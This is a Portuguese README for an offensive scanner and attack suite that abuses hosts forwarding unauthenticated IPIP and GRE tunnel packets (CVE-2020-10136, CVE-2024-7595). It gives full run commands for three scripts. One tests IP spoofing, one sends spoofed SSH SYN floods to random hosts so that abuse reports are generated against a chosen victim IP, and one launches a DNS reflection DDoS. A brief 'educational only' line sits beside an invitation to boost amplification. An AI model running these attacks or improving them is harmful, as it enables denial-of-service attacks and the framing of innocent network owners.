
Scanner e suíte de ataque para hosts que encaminham pacotes não autenticados via protocolos IPIP e GRE. (CVE-2020-10136 CVE-2024-7595)

Um scanner e suíte de ataque para hosts na internet pública (principalmente roteadores Cisco) que encaminham pacotes não autenticados encapsulados nos protocolos IP-in-IP e GRE.
Esta vulnerabilidade, conhecida como "Insecure Implementation of Tunneling Protocols", é rastreada sob os identificadores CVE-2020-10136 e CVE-2024-7595. Ela permite que você envie (mas não receba) qualquer pacote IP a partir dos hosts afetados.
À primeira vista, a capacidade de enviar, mas não receber, pacotes pode parecer inútil. No entanto, muitos dos hosts afetados estão localizados em redes que não implementam filtragem de caminho reverso. Isso significa que você pode falsificar endereços IP na internet pública usando essas vulnerabilidades sem precisar de um host que não possua validação de endereço de origem (comumente referida como IP Header Modification ou IPHM) para lançar ataques como negação de serviço distribuída (DDoS) por amplificação de DNS.
Esta ferramenta destina-se apenas a fins educacionais.
A ferramenta não inclui varredura de vulnerabilidades semelhantes nos protocolos 6in4 e IP6IP6, pois IPv6 não é um protocolo real utilizado por pessoas sérias.
cd scanner/
cargo build --release
sudo ./target/release/ipeeyoupeewepee <source_ip> <src_port> <rate_limit> <protocol_type (GRE|IPIP)>
Parâmetros:
<source_ip>: O endereço IPv4 público a partir do qual você está fazendo a varredura.<src_port>: A porta UDP na qual o scanner escutará os pacotes encaminhados. Certifique-se de que essa porta esteja aberta no seu firewall.<rate_limit>: O limite de taxa de pacotes em pacotes por segundo (ex.: 1000).<protocol_type>: O protocolo de encapsulamento a ser verificado, seja GRE ou IPIP.Para utilizar a suíte de ataque localizada no diretório tools/, certifique-se de ter python3 e scapy instalados. Alternativamente, você pode executar poetry install e poetry shell como root dentro do diretório tools/ para configurar e acessar um ambiente virtual.
Este script verifica se o host vulnerável é capaz de encaminhar pacotes IP falsificados.
sudo python3 can_i_spoof.py <source_ip> <source_port> <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
Parâmetros:
<source_ip>: O endereço IPv4 público a partir do qual você está fazendo a varredura.<source_port>: A porta UDP para escutar os pacotes encaminhados.<tunnel_ip>: O endereço IP do host IPIP ou GRE vulnerável.<spoof_ip>: O endereço IP que você pretende falsificar.<protocol>: O protocolo de encapsulamento a ser explorado, seja GRE ou IPIP.Exemplo de uso:
Se o endereço IP da sua máquina for 192.0.2.42 e você tiver a porta UDP 31337 aberta no seu firewall, e tiver identificado um host GRE de encaminhamento vulnerável em 198.51.100.25, você pode verificar se ele consegue falsificar o endereço IP 203.0.113.23 com o seguinte comando:
sudo python3 can_i_spoof.py 192.0.2.42 31337 198.51.100.25 203.0.113.23 GRE
Este script utiliza um host de tunelamento GRE ou IPIP vulnerável para enviar pacotes TCP SYN falsificados para a porta 22 de hosts aleatórios na internet, com o objetivo de gerar relatórios de abuso em massa contra o endereço IP alvo especificado.
sudo python3 abuse_honeypot.py <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
Parâmetros:
<tunnel_ip>: O endereço IP do host IPIP ou GRE vulnerável.<spoof_ip>: O endereço IP que você pretende falsificar.<protocol>: O protocolo de encapsulamento a ser explorado, seja GRE ou IPIP.Exemplo de uso:
Se você identificou um host GRE de encaminhamento vulnerável em 198.51.100.25 e deseja falsificar pacotes TCP SYN na porta 22 a partir do endereço IP 203.0.113.23, você pode executar o seguinte comando:
sudo python3 abuse_honeypot.py 198.51.100.25 203.0.113.23 GRE
Este script usa hosts de tunelamento GRE ou IPIP vulneráveis para refletir respostas DNS de volta a um alvo especificado, demonstrando um método para executar um ataque de negação de serviço distribuída (DDoS) por reflexão de DNS. Este exemplo é básico e provavelmente pode ser aprimorado para alcançar maiores taxas de amplificação e de pacotes; quaisquer melhorias ficam como exercício para o leitor.
sudo python3 dns_reflect.py <tunnel_ips.txt> <dns_resolvers.txt> <spoof_ip>
Parâmetros:
<tunnel_ips.txt>: Um arquivo contendo uma lista de endereços IP de hosts IPIP ou GRE vulneráveis.<dns_resolvers.txt>: Um arquivo contendo uma lista de resolvedores DNS para usar na reflexão das respostas de volta ao alvo.<spoof_ip>: O endereço IP que você pretende falsificar.Exemplo de uso:
Para iniciar um ataque contra o endereço IP 203.0.113.23, você executaria o seguinte comando:
sudo python3 dns_reflect.py tunnel_ips.txt dns_resolvers.txt 203.0.113.23
Neste exemplo, o arquivo tunnel_ips.txt deve conter uma lista de hosts IPIP ou GRE vulneráveis, com o protocolo especificado no início de cada linha, formatado da seguinte forma:
GRE 198.51.100.25
IPIP 198.51.100.45
GRE 198.51.100.124
GRE 198.51.100.200
IPIP 198.51.100.3
[...]
E o arquivo dns_resolvers.txt deve incluir uma lista de resolvedores DNS recursivos públicos, formatado assim:
9.9.9.9
8.8.8.8
1.1.1.1
[...]